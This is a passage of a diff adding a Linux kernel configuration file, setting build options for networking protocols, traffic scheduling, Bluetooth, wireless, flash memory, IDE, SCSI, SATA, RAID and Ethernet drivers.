+# DCCP CCIDs Configuration (EXPERIMENTAL)
+#
+CONFIG_IP_DCCP_CCID2=m
+# CONFIG_IP_DCCP_CCID2_DEBUG is not set
+CONFIG_IP_DCCP_CCID3=m
+CONFIG_IP_DCCP_TFRC_LIB=m
+# CONFIG_IP_DCCP_CCID3_DEBUG is not set
+CONFIG_IP_DCCP_CCID3_RTO=100
+
+#
+# DCCP Kernel Hacking
+#
+# CONFIG_IP_DCCP_DEBUG is not set
+# CONFIG_NET_DCCPPROBE is not set
+CONFIG_IP_SCTP=m
+# CONFIG_SCTP_DBG_MSG is not set
+# CONFIG_SCTP_DBG_OBJCNT is not set
+# CONFIG_SCTP_HMAC_NONE is not set
+# CONFIG_SCTP_HMAC_SHA1 is not set
+CONFIG_SCTP_HMAC_MD5=y
+CONFIG_TIPC=m
+# CONFIG_TIPC_ADVANCED is not set
+# CONFIG_TIPC_DEBUG is not set
+CONFIG_ATM=m
+CONFIG_ATM_CLIP=m
+# CONFIG_ATM_CLIP_NO_ICMP is not set
+CONFIG_ATM_LANE=m
+# CONFIG_ATM_MPOA is not set
+CONFIG_ATM_BR2684=m
+# CONFIG_ATM_BR2684_IPFILTER is not set
+CONFIG_BRIDGE=m
+CONFIG_VLAN_8021Q=m
+# CONFIG_DECNET is not set
+CONFIG_LLC=y
+# CONFIG_LLC2 is not set
+# CONFIG_IPX is not set
+# CONFIG_ATALK is not set
+# CONFIG_X25 is not set
+# CONFIG_LAPB is not set
+# CONFIG_ECONET is not set
+# CONFIG_WAN_ROUTER is not set
+CONFIG_NET_SCHED=y
+
+#
+# Queueing/Scheduling
+#
+CONFIG_NET_SCH_CBQ=m
+CONFIG_NET_SCH_HTB=m
+CONFIG_NET_SCH_HFSC=m
+CONFIG_NET_SCH_ATM=m
+CONFIG_NET_SCH_PRIO=m
+# CONFIG_NET_SCH_RR is not set
+CONFIG_NET_SCH_RED=m
+CONFIG_NET_SCH_SFQ=m
+CONFIG_NET_SCH_TEQL=m
+CONFIG_NET_SCH_TBF=m
+CONFIG_NET_SCH_GRED=m
+CONFIG_NET_SCH_DSMARK=m
+CONFIG_NET_SCH_NETEM=m
+CONFIG_NET_SCH_INGRESS=m
+
+#
+# Classification
+#
+CONFIG_NET_CLS=y
+CONFIG_NET_CLS_BASIC=m
+CONFIG_NET_CLS_TCINDEX=m
+CONFIG_NET_CLS_ROUTE4=m
+CONFIG_NET_CLS_ROUTE=y
+CONFIG_NET_CLS_FW=m
+CONFIG_NET_CLS_U32=m
+CONFIG_CLS_U32_PERF=y
+CONFIG_CLS_U32_MARK=y
+CONFIG_NET_CLS_RSVP=m
+CONFIG_NET_CLS_RSVP6=m
+CONFIG_NET_EMATCH=y
+CONFIG_NET_EMATCH_STACK=32
+CONFIG_NET_EMATCH_CMP=m
+CONFIG_NET_EMATCH_NBYTE=m
+CONFIG_NET_EMATCH_U32=m
+CONFIG_NET_EMATCH_META=m
+CONFIG_NET_EMATCH_TEXT=m
+CONFIG_NET_CLS_ACT=y
+CONFIG_NET_ACT_POLICE=m
+CONFIG_NET_ACT_GACT=m
+CONFIG_GACT_PROB=y
+CONFIG_NET_ACT_MIRRED=m
+CONFIG_NET_ACT_IPT=m
+# CONFIG_NET_ACT_NAT is not set
+CONFIG_NET_ACT_PEDIT=m
+CONFIG_NET_ACT_SIMP=m
+# CONFIG_NET_CLS_POLICE is not set
+CONFIG_NET_CLS_IND=y
+CONFIG_NET_SCH_FIFO=y
+
+#
+# Network testing
+#
+CONFIG_NET_PKTGEN=m
+# CONFIG_NET_TCPPROBE is not set
+# CONFIG_HAMRADIO is not set
+# CONFIG_IRDA is not set
+CONFIG_BT=m
+CONFIG_BT_L2CAP=m
+CONFIG_BT_SCO=m
+CONFIG_BT_RFCOMM=m
+CONFIG_BT_RFCOMM_TTY=y
+CONFIG_BT_BNEP=m
+CONFIG_BT_BNEP_MC_FILTER=y
+CONFIG_BT_BNEP_PROTO_FILTER=y
+CONFIG_BT_CMTP=m
+CONFIG_BT_HIDP=m
+
+#
+# Bluetooth device drivers
+#
+CONFIG_BT_HCIUSB=m
+CONFIG_BT_HCIUSB_SCO=y
+# CONFIG_BT_HCIBTSDIO is not set
+CONFIG_BT_HCIUART=m
+CONFIG_BT_HCIUART_H4=y
+CONFIG_BT_HCIUART_BCSP=y
+# CONFIG_BT_HCIUART_LL is not set
+CONFIG_BT_HCIBCM203X=m
+CONFIG_BT_HCIBPA10X=m
+CONFIG_BT_HCIBFUSB=m
+CONFIG_BT_HCIDTL1=m
+CONFIG_BT_HCIBT3C=m
+CONFIG_BT_HCIBLUECARD=m
+CONFIG_BT_HCIBTUART=m
+CONFIG_BT_HCIVHCI=m
+# CONFIG_AF_RXRPC is not set
+CONFIG_FIB_RULES=y
+
+#
+# Wireless
+#
+CONFIG_CFG80211=m
+CONFIG_NL80211=y
+CONFIG_WIRELESS_EXT=y
+CONFIG_MAC80211=m
+CONFIG_MAC80211_RCSIMPLE=y
+CONFIG_MAC80211_LEDS=y
+# CONFIG_MAC80211_DEBUGFS is not set
+# CONFIG_MAC80211_DEBUG is not set
+CONFIG_IEEE80211=m
+# CONFIG_IEEE80211_DEBUG is not set
+CONFIG_IEEE80211_CRYPT_WEP=m
+CONFIG_IEEE80211_CRYPT_CCMP=m
+CONFIG_IEEE80211_CRYPT_TKIP=m
+CONFIG_IEEE80211_SOFTMAC=m
+CONFIG_IEEE80211_SOFTMAC_DEBUG=y
+# CONFIG_RFKILL is not set
+# CONFIG_NET_9P is not set
+
+#
+# Device Drivers
+#
+
+#
+# Generic Driver Options
+#
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_STANDALONE=y
+CONFIG_PREVENT_FIRMWARE_BUILD=y
+CONFIG_FW_LOADER=y
+# CONFIG_DEBUG_DRIVER is not set
+# CONFIG_DEBUG_DEVRES is not set
+# CONFIG_SYS_HYPERVISOR is not set
+CONFIG_CONNECTOR=y
+CONFIG_PROC_EVENTS=y
+CONFIG_MTD=m
+# CONFIG_MTD_DEBUG is not set
+CONFIG_MTD_CONCAT=m
+CONFIG_MTD_PARTITIONS=y
+CONFIG_MTD_REDBOOT_PARTS=m
+CONFIG_MTD_REDBOOT_DIRECTORY_BLOCK=-1
+# CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED is not set
+# CONFIG_MTD_REDBOOT_PARTS_READONLY is not set
+
+#
+# User Modules And Translation Layers
+#
+CONFIG_MTD_CHAR=m
+CONFIG_MTD_BLKDEVS=m
+CONFIG_MTD_BLOCK=m
+CONFIG_MTD_BLOCK_RO=m
+CONFIG_FTL=m
+CONFIG_NFTL=m
+CONFIG_NFTL_RW=y
+# CONFIG_INFTL is not set
+CONFIG_RFD_FTL=m
+# CONFIG_SSFDC is not set
+# CONFIG_MTD_OOPS is not set
+
+#
+# RAM/ROM/Flash chip drivers
+#
+CONFIG_MTD_CFI=m
+CONFIG_MTD_JEDECPROBE=m
+CONFIG_MTD_GEN_PROBE=m
+# CONFIG_MTD_CFI_ADV_OPTIONS is not set
+CONFIG_MTD_MAP_BANK_WIDTH_1=y
+CONFIG_MTD_MAP_BANK_WIDTH_2=y
+CONFIG_MTD_MAP_BANK_WIDTH_4=y
+# CONFIG_MTD_MAP_BANK_WIDTH_8 is not set
+# CONFIG_MTD_MAP_BANK_WIDTH_16 is not set
+# CONFIG_MTD_MAP_BANK_WIDTH_32 is not set
+CONFIG_MTD_CFI_I1=y
+CONFIG_MTD_CFI_I2=y
+# CONFIG_MTD_CFI_I4 is not set
+# CONFIG_MTD_CFI_I8 is not set
+CONFIG_MTD_CFI_INTELEXT=m
+CONFIG_MTD_CFI_AMDSTD=m
+CONFIG_MTD_CFI_STAA=m
+CONFIG_MTD_CFI_UTIL=m
+CONFIG_MTD_RAM=m
+CONFIG_MTD_ROM=m
+CONFIG_MTD_ABSENT=m
+
+#
+# Mapping drivers for chip access
+#
+# CONFIG_MTD_COMPLEX_MAPPINGS is not set
+# CONFIG_MTD_PHYSMAP is not set
+# CONFIG_MTD_PNC2000 is not set
+CONFIG_MTD_SC520CDP=m
+CONFIG_MTD_NETSC520=m
+CONFIG_MTD_TS5500=m
+# CONFIG_MTD_AMD76XROM is not set
+# CONFIG_MTD_ICHXROM is not set
+# CONFIG_MTD_ESB2ROM is not set
+# CONFIG_MTD_CK804XROM is not set
+CONFIG_MTD_SCB2_FLASH=m
+# CONFIG_MTD_NETtel is not set
+# CONFIG_MTD_DILNETPC is not set
+# CONFIG_MTD_L440GX is not set
+# CONFIG_MTD_INTEL_VR_NOR is not set
+# CONFIG_MTD_PLATRAM is not set
+
+#
+# Self-contained MTD device drivers
+#
+# CONFIG_MTD_PMC551 is not set
+# CONFIG_MTD_SLRAM is not set
+# CONFIG_MTD_PHRAM is not set
+CONFIG_MTD_MTDRAM=m
+CONFIG_MTDRAM_TOTAL_SIZE=4096
+CONFIG_MTDRAM_ERASE_SIZE=128
+CONFIG_MTD_BLOCK2MTD=m
+
+#
+# Disk-On-Chip Device Drivers
+#
+# CONFIG_MTD_DOC2000 is not set
+# CONFIG_MTD_DOC2001 is not set
+# CONFIG_MTD_DOC2001PLUS is not set
+CONFIG_MTD_NAND=m
+# CONFIG_MTD_NAND_VERIFY_WRITE is not set
+CONFIG_MTD_NAND_ECC_SMC=y
+# CONFIG_MTD_NAND_MUSEUM_IDS is not set
+CONFIG_MTD_NAND_IDS=m
+CONFIG_MTD_NAND_DISKONCHIP=m
+# CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADVANCED is not set
+CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADDRESS=0
+# CONFIG_MTD_NAND_DISKONCHIP_BBTWRITE is not set
+# CONFIG_MTD_NAND_CAFE is not set
+CONFIG_MTD_NAND_NANDSIM=m
+# CONFIG_MTD_NAND_PLATFORM is not set
+# CONFIG_MTD_ALAUDA is not set
+# CONFIG_MTD_ONENAND is not set
+
+#
+# UBI - Unsorted block images
+#
+# CONFIG_MTD_UBI is not set
+CONFIG_PARPORT=m
+CONFIG_PARPORT_PC=m
+CONFIG_PARPORT_SERIAL=m
+# CONFIG_PARPORT_PC_FIFO is not set
+# CONFIG_PARPORT_PC_SUPERIO is not set
+CONFIG_PARPORT_PC_PCMCIA=m
+# CONFIG_PARPORT_GSC is not set
+# CONFIG_PARPORT_AX88796 is not set
+CONFIG_PARPORT_1284=y
+CONFIG_PARPORT_NOT_PC=y
+CONFIG_PNP=y
+# CONFIG_PNP_DEBUG is not set
+
+#
+# Protocols
+#
+CONFIG_PNPACPI=y
+CONFIG_BLK_DEV=y
+CONFIG_BLK_DEV_FD=m
+CONFIG_PARIDE=m
+
+#
+# Parallel IDE high-level drivers
+#
+CONFIG_PARIDE_PD=m
+CONFIG_PARIDE_PCD=m
+CONFIG_PARIDE_PF=m
+CONFIG_PARIDE_PT=m
+CONFIG_PARIDE_PG=m
+
+#
+# Parallel IDE protocol modules
+#
+CONFIG_PARIDE_ATEN=m
+CONFIG_PARIDE_BPCK=m
+CONFIG_PARIDE_COMM=m
+CONFIG_PARIDE_DSTR=m
+CONFIG_PARIDE_FIT2=m
+CONFIG_PARIDE_FIT3=m
+CONFIG_PARIDE_EPAT=m
+CONFIG_PARIDE_EPATC8=y
+CONFIG_PARIDE_EPIA=m
+CONFIG_PARIDE_FRIQ=m
+CONFIG_PARIDE_FRPW=m
+CONFIG_PARIDE_KBIC=m
+CONFIG_PARIDE_KTTI=m
+CONFIG_PARIDE_ON20=m
+CONFIG_PARIDE_ON26=m
+CONFIG_BLK_CPQ_DA=m
+CONFIG_BLK_CPQ_CISS_DA=m
+CONFIG_CISS_SCSI_TAPE=y
+CONFIG_BLK_DEV_DAC960=m
+# CONFIG_BLK_DEV_UMEM is not set
+# CONFIG_BLK_DEV_COW_COMMON is not set
+CONFIG_BLK_DEV_LOOP=m
+CONFIG_BLK_DEV_CRYPTOLOOP=m
+CONFIG_BLK_DEV_NBD=m
+CONFIG_BLK_DEV_SX8=m
+# CONFIG_BLK_DEV_UB is not set
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_RAM_COUNT=16
+CONFIG_BLK_DEV_RAM_SIZE=16384
+CONFIG_BLK_DEV_RAM_BLOCKSIZE=4096
+CONFIG_CDROM_PKTCDVD=m
+CONFIG_CDROM_PKTCDVD_BUFFERS=8
+# CONFIG_CDROM_PKTCDVD_WCACHE is not set
+CONFIG_ATA_OVER_ETH=m
+CONFIG_MISC_DEVICES=y
+# CONFIG_IBM_ASM is not set
+# CONFIG_PHANTOM is not set
+CONFIG_EEPROM_93CX6=m
+# CONFIG_SGI_IOC4 is not set
+# CONFIG_TIFM_CORE is not set
+# CONFIG_ASUS_LAPTOP is not set
+# CONFIG_FUJITSU_LAPTOP is not set
+# CONFIG_MSI_LAPTOP is not set
+# CONFIG_SONY_LAPTOP is not set
+CONFIG_THINKPAD_ACPI=m
+# CONFIG_THINKPAD_ACPI_DEBUG is not set
+CONFIG_THINKPAD_ACPI_BAY=y
+CONFIG_IDE=y
+CONFIG_BLK_DEV_IDE=y
+
+#
+# Please see Documentation/ide.txt for help/info on IDE drives
+#
+# CONFIG_BLK_DEV_IDE_SATA is not set
+# CONFIG_BLK_DEV_HD_IDE is not set
+CONFIG_BLK_DEV_IDEDISK=y
+CONFIG_IDEDISK_MULTI_MODE=y
+CONFIG_BLK_DEV_IDECS=m
+# CONFIG_BLK_DEV_DELKIN is not set
+CONFIG_BLK_DEV_IDECD=m
+# CONFIG_BLK_DEV_IDETAPE is not set
+CONFIG_BLK_DEV_IDEFLOPPY=y
+CONFIG_BLK_DEV_IDESCSI=m
+# CONFIG_BLK_DEV_IDEACPI is not set
+CONFIG_IDE_TASK_IOCTL=y
+CONFIG_IDE_PROC_FS=y
+
+#
+# IDE chipset support/bugfixes
+#
+CONFIG_IDE_GENERIC=y
+# CONFIG_BLK_DEV_PLATFORM is not set
+# CONFIG_BLK_DEV_CMD640 is not set
+CONFIG_BLK_DEV_IDEPNP=y
+
+#
+# PCI IDE chipsets support
+#
+CONFIG_BLK_DEV_IDEPCI=y
+CONFIG_IDEPCI_SHARE_IRQ=y
+CONFIG_IDEPCI_PCIBUS_ORDER=y
+# CONFIG_BLK_DEV_OFFBOARD is not set
+CONFIG_BLK_DEV_GENERIC=y
+# CONFIG_BLK_DEV_OPTI621 is not set
+# CONFIG_BLK_DEV_RZ1000 is not set
+CONFIG_BLK_DEV_IDEDMA_PCI=y
+CONFIG_BLK_DEV_AEC62XX=y
+CONFIG_BLK_DEV_ALI15X3=y
+# CONFIG_WDC_ALI15X3 is not set
+CONFIG_BLK_DEV_AMD74XX=y
+CONFIG_BLK_DEV_ATIIXP=y
+CONFIG_BLK_DEV_CMD64X=y
+# CONFIG_BLK_DEV_TRIFLEX is not set
+# CONFIG_BLK_DEV_CY82C693 is not set
+# CONFIG_BLK_DEV_CS5520 is not set
+# CONFIG_BLK_DEV_CS5530 is not set
+CONFIG_BLK_DEV_HPT34X=y
+# CONFIG_HPT34X_AUTODMA is not set
+CONFIG_BLK_DEV_HPT366=y
+# CONFIG_BLK_DEV_JMICRON is not set
+# CONFIG_BLK_DEV_SC1200 is not set
+CONFIG_BLK_DEV_PIIX=y
+# CONFIG_BLK_DEV_IT8213 is not set
+CONFIG_BLK_DEV_IT821X=y
+# CONFIG_BLK_DEV_NS87415 is not set
+CONFIG_BLK_DEV_PDC202XX_OLD=y
+# CONFIG_PDC202XX_BURST is not set
+CONFIG_BLK_DEV_PDC202XX_NEW=y
+CONFIG_BLK_DEV_SVWKS=y
+CONFIG_BLK_DEV_SIIMAGE=y
+CONFIG_BLK_DEV_SIS5513=y
+# CONFIG_BLK_DEV_SLC90E66 is not set
+# CONFIG_BLK_DEV_TRM290 is not set
+CONFIG_BLK_DEV_VIA82CXXX=y
+# CONFIG_BLK_DEV_TC86C001 is not set
+# CONFIG_IDE_ARM is not set
+CONFIG_BLK_DEV_IDEDMA=y
+CONFIG_IDE_ARCH_OBSOLETE_INIT=y
+# CONFIG_BLK_DEV_HD is not set
+
+#
+# SCSI device support
+#
+CONFIG_RAID_ATTRS=m
+CONFIG_SCSI=m
+CONFIG_SCSI_DMA=y
+# CONFIG_SCSI_TGT is not set
+CONFIG_SCSI_NETLINK=y
+CONFIG_SCSI_PROC_FS=y
+
+#
+# SCSI support type (disk, tape, CD-ROM)
+#
+CONFIG_BLK_DEV_SD=m
+CONFIG_CHR_DEV_ST=m
+CONFIG_CHR_DEV_OSST=m
+CONFIG_BLK_DEV_SR=m
+CONFIG_BLK_DEV_SR_VENDOR=y
+CONFIG_CHR_DEV_SG=m
+CONFIG_CHR_DEV_SCH=m
+
+#
+# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
+#
+CONFIG_SCSI_MULTI_LUN=y
+CONFIG_SCSI_CONSTANTS=y
+CONFIG_SCSI_LOGGING=y
+# CONFIG_SCSI_SCAN_ASYNC is not set
+CONFIG_SCSI_WAIT_SCAN=m
+
+#
+# SCSI Transports
+#
+CONFIG_SCSI_SPI_ATTRS=m
+CONFIG_SCSI_FC_ATTRS=m
+CONFIG_SCSI_ISCSI_ATTRS=m
+CONFIG_SCSI_SAS_ATTRS=m
+CONFIG_SCSI_SAS_LIBSAS=m
+CONFIG_SCSI_SAS_ATA=y
+# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
+CONFIG_SCSI_SRP_ATTRS=m
+CONFIG_SCSI_LOWLEVEL=y
+CONFIG_ISCSI_TCP=m
+CONFIG_BLK_DEV_3W_XXXX_RAID=m
+CONFIG_SCSI_3W_9XXX=m
+CONFIG_SCSI_ACARD=m
+CONFIG_SCSI_AACRAID=m
+CONFIG_SCSI_AIC7XXX=m
+CONFIG_AIC7XXX_CMDS_PER_DEVICE=4
+CONFIG_AIC7XXX_RESET_DELAY_MS=15000
+# CONFIG_AIC7XXX_DEBUG_ENABLE is not set
+CONFIG_AIC7XXX_DEBUG_MASK=0
+# CONFIG_AIC7XXX_REG_PRETTY_PRINT is not set
+CONFIG_SCSI_AIC7XXX_OLD=m
+CONFIG_SCSI_AIC79XX=m
+CONFIG_AIC79XX_CMDS_PER_DEVICE=4
+CONFIG_AIC79XX_RESET_DELAY_MS=15000
+# CONFIG_AIC79XX_DEBUG_ENABLE is not set
+CONFIG_AIC79XX_DEBUG_MASK=0
+# CONFIG_AIC79XX_REG_PRETTY_PRINT is not set
+CONFIG_SCSI_AIC94XX=m
+# CONFIG_AIC94XX_DEBUG is not set
+# CONFIG_SCSI_ADVANSYS is not set
+CONFIG_SCSI_ARCMSR=m
+# CONFIG_SCSI_ARCMSR_AER is not set
+CONFIG_MEGARAID_NEWGEN=y
+CONFIG_MEGARAID_MM=m
+CONFIG_MEGARAID_MAILBOX=m
+CONFIG_MEGARAID_LEGACY=m
+CONFIG_MEGARAID_SAS=m
+CONFIG_SCSI_HPTIOP=m
+# CONFIG_SCSI_BUSLOGIC is not set
+# CONFIG_SCSI_DMX3191D is not set
+# CONFIG_SCSI_EATA is not set
+# CONFIG_SCSI_FUTURE_DOMAIN is not set
+CONFIG_SCSI_GDTH=m
+CONFIG_SCSI_IPS=m
+CONFIG_SCSI_INITIO=m
+# CONFIG_SCSI_INIA100 is not set
+CONFIG_SCSI_PPA=m
+CONFIG_SCSI_IMM=m
+# CONFIG_SCSI_IZIP_EPP16 is not set
+# CONFIG_SCSI_IZIP_SLOW_CTR is not set
+CONFIG_SCSI_STEX=m
+CONFIG_SCSI_SYM53C8XX_2=m
+CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
+CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
+CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
+CONFIG_SCSI_SYM53C8XX_MMIO=y
+# CONFIG_SCSI_IPR is not set
+CONFIG_SCSI_QLOGIC_1280=m
+CONFIG_SCSI_QLA_FC=m
+CONFIG_SCSI_QLA_ISCSI=m
+CONFIG_SCSI_LPFC=m
+CONFIG_SCSI_DC395x=m
+# CONFIG_SCSI_DC390T is not set
+# CONFIG_SCSI_DEBUG is not set
+# CONFIG_SCSI_SRP is not set
+# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
+CONFIG_ATA=m
+# CONFIG_ATA_NONSTANDARD is not set
+CONFIG_ATA_ACPI=y
+CONFIG_SATA_AHCI=m
+CONFIG_SATA_SVW=m
+CONFIG_ATA_PIIX=m
+CONFIG_SATA_MV=m
+CONFIG_SATA_NV=m
+CONFIG_PDC_ADMA=m
+CONFIG_SATA_QSTOR=m
+CONFIG_SATA_PROMISE=m
+CONFIG_SATA_SX4=m
+CONFIG_SATA_SIL=m
+CONFIG_SATA_SIL24=m
+CONFIG_SATA_SIS=m
+CONFIG_SATA_ULI=m
+CONFIG_SATA_VIA=m
+CONFIG_SATA_VITESSE=m
+CONFIG_SATA_INIC162X=m
+# CONFIG_PATA_ACPI is not set
+# CONFIG_PATA_ALI is not set
+# CONFIG_PATA_AMD is not set
+# CONFIG_PATA_ARTOP is not set
+# CONFIG_PATA_ATIIXP is not set
+# CONFIG_PATA_CMD640_PCI is not set
+# CONFIG_PATA_CMD64X is not set
+# CONFIG_PATA_CS5520 is not set
+# CONFIG_PATA_CS5530 is not set
+# CONFIG_PATA_CYPRESS is not set
+# CONFIG_PATA_EFAR is not set
+# CONFIG_ATA_GENERIC is not set
+# CONFIG_PATA_HPT366 is not set
+# CONFIG_PATA_HPT37X is not set
+# CONFIG_PATA_HPT3X2N is not set
+# CONFIG_PATA_HPT3X3 is not set
+# CONFIG_PATA_IT821X is not set
+# CONFIG_PATA_IT8213 is not set
+# CONFIG_PATA_JMICRON is not set
+# CONFIG_PATA_TRIFLEX is not set
+CONFIG_PATA_MARVELL=m
+# CONFIG_PATA_MPIIX is not set
+# CONFIG_PATA_OLDPIIX is not set
+# CONFIG_PATA_NETCELL is not set
+# CONFIG_PATA_NS87410 is not set
+# CONFIG_PATA_NS87415 is not set
+# CONFIG_PATA_OPTI is not set
+# CONFIG_PATA_OPTIDMA is not set
+# CONFIG_PATA_PCMCIA is not set
+# CONFIG_PATA_PDC_OLD is not set
+# CONFIG_PATA_RADISYS is not set
+# CONFIG_PATA_RZ1000 is not set
+# CONFIG_PATA_SC1200 is not set
+# CONFIG_PATA_SERVERWORKS is not set
+CONFIG_PATA_PDC2027X=m
+CONFIG_PATA_SIL680=m
+CONFIG_PATA_SIS=m
+# CONFIG_PATA_VIA is not set
+# CONFIG_PATA_WINBOND is not set
+CONFIG_MD=y
+CONFIG_BLK_DEV_MD=y
+CONFIG_MD_LINEAR=m
+CONFIG_MD_RAID0=m
+CONFIG_MD_RAID1=m
+CONFIG_MD_RAID10=m
+CONFIG_MD_RAID456=m
+CONFIG_MD_RAID5_RESHAPE=y
+CONFIG_MD_MULTIPATH=m
+CONFIG_MD_FAULTY=m
+CONFIG_BLK_DEV_DM=m
+# CONFIG_DM_DEBUG is not set
+CONFIG_DM_CRYPT=m
+CONFIG_DM_SNAPSHOT=m
+CONFIG_DM_MIRROR=m
+CONFIG_DM_ZERO=m
+CONFIG_DM_MULTIPATH=m
+CONFIG_DM_MULTIPATH_EMC=m
+CONFIG_DM_MULTIPATH_RDAC=m
+CONFIG_DM_MULTIPATH_HP=m
+# CONFIG_DM_DELAY is not set
+CONFIG_DM_UEVENT=y
+CONFIG_FUSION=y
+CONFIG_FUSION_SPI=m
+CONFIG_FUSION_FC=m
+CONFIG_FUSION_SAS=m
+CONFIG_FUSION_MAX_SGE=128
+CONFIG_FUSION_CTL=m
+CONFIG_FUSION_LAN=m
+CONFIG_FUSION_LOGGING=y
+
+#
+# IEEE 1394 (FireWire) support
+#
+CONFIG_FIREWIRE=m
+CONFIG_FIREWIRE_OHCI=m
+CONFIG_FIREWIRE_SBP2=m
+# CONFIG_IEEE1394 is not set
+CONFIG_I2O=m
+# CONFIG_I2O_LCT_NOTIFY_ON_CHANGES is not set
+CONFIG_I2O_EXT_ADAPTEC=y
+CONFIG_I2O_EXT_ADAPTEC_DMA64=y
+CONFIG_I2O_CONFIG=m
+CONFIG_I2O_CONFIG_OLD_IOCTL=y
+CONFIG_I2O_BUS=m
+CONFIG_I2O_BLOCK=m
+CONFIG_I2O_SCSI=m
+CONFIG_I2O_PROC=m
+# CONFIG_MACINTOSH_DRIVERS is not set
+CONFIG_NETDEVICES=y
+# CONFIG_NETDEVICES_MULTIQUEUE is not set
+CONFIG_IFB=m
+CONFIG_DUMMY=m
+CONFIG_BONDING=m
+# CONFIG_MACVLAN is not set
+# CONFIG_EQUALIZER is not set
+CONFIG_TUN=m
+# CONFIG_VETH is not set
+# CONFIG_NET_SB1000 is not set
+# CONFIG_ARCNET is not set
+CONFIG_PHYLIB=m
+
+#
+# MII PHY device drivers
+#
+CONFIG_MARVELL_PHY=m
+CONFIG_DAVICOM_PHY=m
+CONFIG_QSEMI_PHY=m
+CONFIG_LXT_PHY=m
+CONFIG_CICADA_PHY=m
+CONFIG_VITESSE_PHY=m
+CONFIG_SMSC_PHY=m
+# CONFIG_BROADCOM_PHY is not set
+# CONFIG_ICPLUS_PHY is not set
+CONFIG_FIXED_PHY=m
+CONFIG_FIXED_MII_10_FDX=y
+CONFIG_FIXED_MII_100_FDX=y
+# CONFIG_FIXED_MII_1000_FDX is not set
+CONFIG_FIXED_MII_AMNT=1
+# CONFIG_MDIO_BITBANG is not set
+CONFIG_NET_ETHERNET=y
+CONFIG_MII=m
+CONFIG_HAPPYMEAL=m
+CONFIG_SUNGEM=m
+CONFIG_CASSINI=m
+CONFIG_NET_VENDOR_3COM=y
+CONFIG_VORTEX=m
+CONFIG_TYPHOON=m
+CONFIG_NET_TULIP=y
+CONFIG_DE2104X=m
+CONFIG_TULIP=m
+# CONFIG_TULIP_MWI is not set
+CONFIG_TULIP_MMIO=y
+# CONFIG_TULIP_NAPI is not set
+CONFIG_DE4X5=m
+CONFIG_WINBOND_840=m
+CONFIG_DM9102=m
+CONFIG_ULI526X=m
+CONFIG_PCMCIA_XIRCOM=m
+# CONFIG_HP100 is not set
+# CONFIG_IBM_NEW_EMAC_ZMII is not set
+# CONFIG_IBM_NEW_EMAC_RGMII is not set
+# CONFIG_IBM_NEW_EMAC_TAH is not set
+# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
+CONFIG_NET_PCI=y
+CONFIG_PCNET32=m
+# CONFIG_PCNET32_NAPI is not set
+CONFIG_AMD8111_ETH=m
+CONFIG_AMD8111E_NAPI=y
+CONFIG_ADAPTEC_STARFIRE=m
+CONFIG_ADAPTEC_STARFIRE_NAPI=y
+CONFIG_B44=m
+CONFIG_B44_PCI_AUTOSELECT=y
+CONFIG_B44_PCICORE_AUTOSELECT=y
+CONFIG_B44_PCI=y
+CONFIG_FORCEDETH=m
+# CONFIG_FORCEDETH_NAPI is not set
+# CONFIG_EEPRO100 is not set
+CONFIG_E100=m
+CONFIG_FEALNX=m
+CONFIG_NATSEMI=m
+CONFIG_NE2K_PCI=m
+CONFIG_8139CP=m
+CONFIG_8139TOO=m
+# CONFIG_8139TOO_PIO is not set
+# CONFIG_8139TOO_TUNE_TWISTER is not set
+CONFIG_8139TOO_8129=y
+# CONFIG_8139_OLD_RX_RESET is not set
+CONFIG_SIS900=m
+CONFIG_EPIC100=m
+CONFIG_SUNDANCE=m
+# CONFIG_SUNDANCE_MMIO is not set
+CONFIG_VIA_RHINE=m
+CONFIG_VIA_RHINE_MMIO=y
+CONFIG_VIA_RHINE_NAPI=y
+# CONFIG_SC92031 is not set
+CONFIG_NET_POCKET=y
+# CONFIG_ATP is not set
+# CONFIG_DE600 is not set
+# CONFIG_DE620 is not set
+CONFIG_NETDEV_1000=y
+CONFIG_ACENIC=m
+# CONFIG_ACENIC_OMIT_TIGON_I is not set
+CONFIG_DL2K=m
+CONFIG_E1000=m
+CONFIG_E1000_NAPI=y
+# CONFIG_E1000_DISABLE_PACKET_SPLIT is not set
+CONFIG_E1000E=m
+# CONFIG_IP1000 is not set
+CONFIG_NS83820=m
+# CONFIG_HAMACHI is not set
+# CONFIG_YELLOWFIN is not set
+CONFIG_R8169=m
+# CONFIG_R8169_NAPI is not set
+CONFIG_R8169_VLAN=y
+CONFIG_SIS190=m
+CONFIG_SKGE=m
+# CONFIG_SKGE_DEBUG is not set
+CONFIG_SKY2=m
+# CONFIG_SKY2_DEBUG is not set
+# CONFIG_SK98LIN is not set
+CONFIG_VIA_VELOCITY=m
+CONFIG_TIGON3=m
+CONFIG_BNX2=m
+CONFIG_QLA3XXX=m
+# CONFIG_ATL1 is not set
+CONFIG_NETDEV_10000=y
+CONFIG_CHELSIO_T1=m
+# CONFIG_CHELSIO_T1_1G is not set
+CONFIG_CHELSIO_T1_NAPI=y
+CONFIG_CHELSIO_T3=m
+CONFIG_IXGBE=m
+CONFIG_IXGB=m
+CONFIG_IXGB_NAPI=y
+CONFIG_S2IO=m
+CONFIG_S2IO_NAPI=y
+CONFIG_MYRI10GE=m
+CONFIG_NETXEN_NIC=m
+CONFIG_NIU=m
+CONFIG_MLX4_CORE=m
+CONFIG_MLX4_DEBUG=y
+# CONFIG_TEHUTI is not set
+CONFIG_TR=y
+CONFIG_IBMOL=m
+CONFIG_3C359=m
+# CONFIG_TMS380TR is not set
+
+#
+# Wireless LAN
+#
+# CONFIG_WLAN_PRE80211 is not set
+# CONFIG_WLAN_80211 is not set
+
+#
+# USB Network Adapters
+#
+CONFIG_USB_CATC=m
+CONFIG_USB_KAWETH=m
+CONFIG_USB_PEGASUS=m
+CONFIG_USB_RTL8150=m
+CONFIG_USB_USBNET=m
+CONFIG_USB_NET_AX8817X=m
+CONFIG_USB_NET_CDCETHER=m
+CONFIG_USB_NET_DM9601=m
